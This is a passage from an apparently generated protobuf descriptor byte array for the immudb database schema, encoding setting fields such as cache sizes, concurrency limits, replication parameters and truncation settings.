0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62,\n\t0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0c, 0x6d, 0x61, 0x78, 0x54, 0x78, 0x45,\n\t0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x49, 0x0a, 0x11, 0x65, 0x78, 0x63, 0x6c, 0x75, 0x64,\n\t0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28,\n\t0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11,\n\t0x65, 0x78, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x54, 0x69, 0x6d,\n\t0x65, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65,\n\t0x6e, 0x63, 0x79, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62,\n\t0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x6d, 0x61, 0x78, 0x43, 0x6f, 0x6e,\n\t0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x61, 0x78, 0x49,\n\t0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0e, 0x20, 0x01,\n\t0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33,\n\t0x32, 0x52, 0x10, 0x6d, 0x61, 0x78, 0x49, 0x4f, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65,\n\t0x6e, 0x63, 0x79, 0x12, 0x45, 0x0a, 0x0e, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68,\n\t0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c,\n\t0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x74, 0x78, 0x4c, 0x6f,\n\t0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x76, 0x4c,\n\t0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73,\n\t0x18, 0x10, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55,\n\t0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x12, 0x76, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70,\n\t0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x4f, 0x0a, 0x13, 0x74, 0x78, 0x4c,\n\t0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73,\n\t0x18, 0x11, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55,\n\t0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x13, 0x74, 0x78, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f,\n\t0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f,\n\t0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64,\n\t0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c,\n\t0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d,\n\t0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69,\n\t0x6c, 0x65, 0x73, 0x12, 0x4a, 0x0a, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74,\n\t0x69, 0x6e, 0x67, 0x73, 0x18, 0x13, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78,\n\t0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73,\n\t0x52, 0x0d, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12,\n\t0x51, 0x0a, 0x14, 0x77, 0x72, 0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72,\n\t0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x14, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75,\n\t0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x77, 0x72,\n\t0x69, 0x74, 0x65, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x56, 0x65, 0x72, 0x73, 0x69,\n\t0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x15,\n\t0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f,\n\t0x6c, 0x52, 0x08, 0x61, 0x75, 0x74, 0x6f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x45, 0x0a, 0x0e, 0x72,\n\t0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x16, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74,\n\t0x33, 0x32, 0x52, 0x0e, 0x72, 0x65, 0x61, 0x64, 0x54, 0x78, 0x50, 0x6f, 0x6f, 0x6c, 0x53, 0x69,\n\t0x7a, 0x65, 0x12, 0x49, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65,\n\t0x6e, 0x63, 0x79, 0x18, 0x17, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62,\n\t0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0d,\n\t0x73, 0x79, 0x6e, 0x63, 0x46, 0x72, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x47, 0x0a,\n\t0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65,\n\t0x18, 0x18, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55,\n\t0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66,\n\t0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x44, 0x0a, 0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74,\n\t0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x19, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x22, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x48, 0x54, 0x4e,\n\t0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52,\n\t0x0b, 0x61, 0x68, 0x74, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x53, 0x0a, 0x15,\n\t0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63,\n\t0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c,\n\t0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x6d, 0x61, 0x78, 0x41,\n\t0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e,\n\t0x73, 0x12, 0x49, 0x0a, 0x10, 0x6d, 0x76, 0x63, 0x63, 0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74,\n\t0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c,\n\t0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x10, 0x6d, 0x76, 0x63, 0x63,\n\t0x52, 0x65, 0x61, 0x64, 0x53, 0x65, 0x74, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x43, 0x0a, 0x0d,\n\t0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x1c, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74,\n\t0x33, 0x32, 0x52, 0x0d, 0x76, 0x4c, 0x6f, 0x67, 0x43, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a,\n\t0x65, 0x12, 0x59, 0x0a, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53,\n\t0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x1d, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x29, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72,\n\t0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65,\n\t0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61,\n\t0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0e,\n\t0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x1e,\n\t0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f,\n\t0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65,\n\t0x73, 0x12, 0x41, 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46, 0x69, 0x6c,\n\t0x65, 0x73, 0x18, 0x1f, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c,\n\t0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x46,\n\t0x69, 0x6c, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61,\n\t0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74,\n\t0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18,\n\t0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73,\n\t0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f,\n\t0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70,\n\t0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02,\n\t0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72,\n\t0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61,\n\t0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48,\n\t0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62,\n\t0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72,\n\t0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79,\n\t0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61,\n\t0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61,\n\t0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72,\n\t0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32,\n\t0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f,\n\t0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12,\n\t0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f,\n\t0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c,\n\t0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79,\n\t0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63,\n\t0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28,\n\t0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f,\n\t0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12,\n\t0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28,\n\t0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32,\n\t0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72,\n\t0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69,\n\t0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64,\n\t0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c,\n\t0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63,\n\t0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a,\n\t0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d,\n\t0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20,\n\t0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74,\n\t0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43,\n\t0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79,\n\t0x12, 0x49, 0x0a, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61,\n\t0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c,\n\t0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x54,\n\t0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x4b, 0x0a, 0x12, 0x73,\n\t0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63,\n\t0x6b, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65,\n\t0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72,\n\t0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x12, 0x45, 0x0a, 0x0f, 0x77, 0x61, 0x69, 0x74,\n\t0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x18, 0x0d, 0x20, 0x01, 0x28,\n\t0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f,\n\t0x77, 0x61, 0x69, 0x74, 0x46, 0x6f, 0x72, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x69, 0x6e, 0x67, 0x22,\n\t0xc2, 0x01, 0x0a, 0x1a, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75,\n\t0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x4d,\n\t0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f,\n\t0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65,\n\t0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x0f, 0x72, 0x65,\n\t0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x55, 0x0a,\n\t0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75,\n\t0x65, 0x6e, 0x63, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61,\n\t0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52,\n\t0x13, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x46, 0x72, 0x65, 0x71, 0x75,\n\t0x65, 0x6e, 0x63, 0x79, 0x22, 0x99, 0x09, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75,\n\t0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 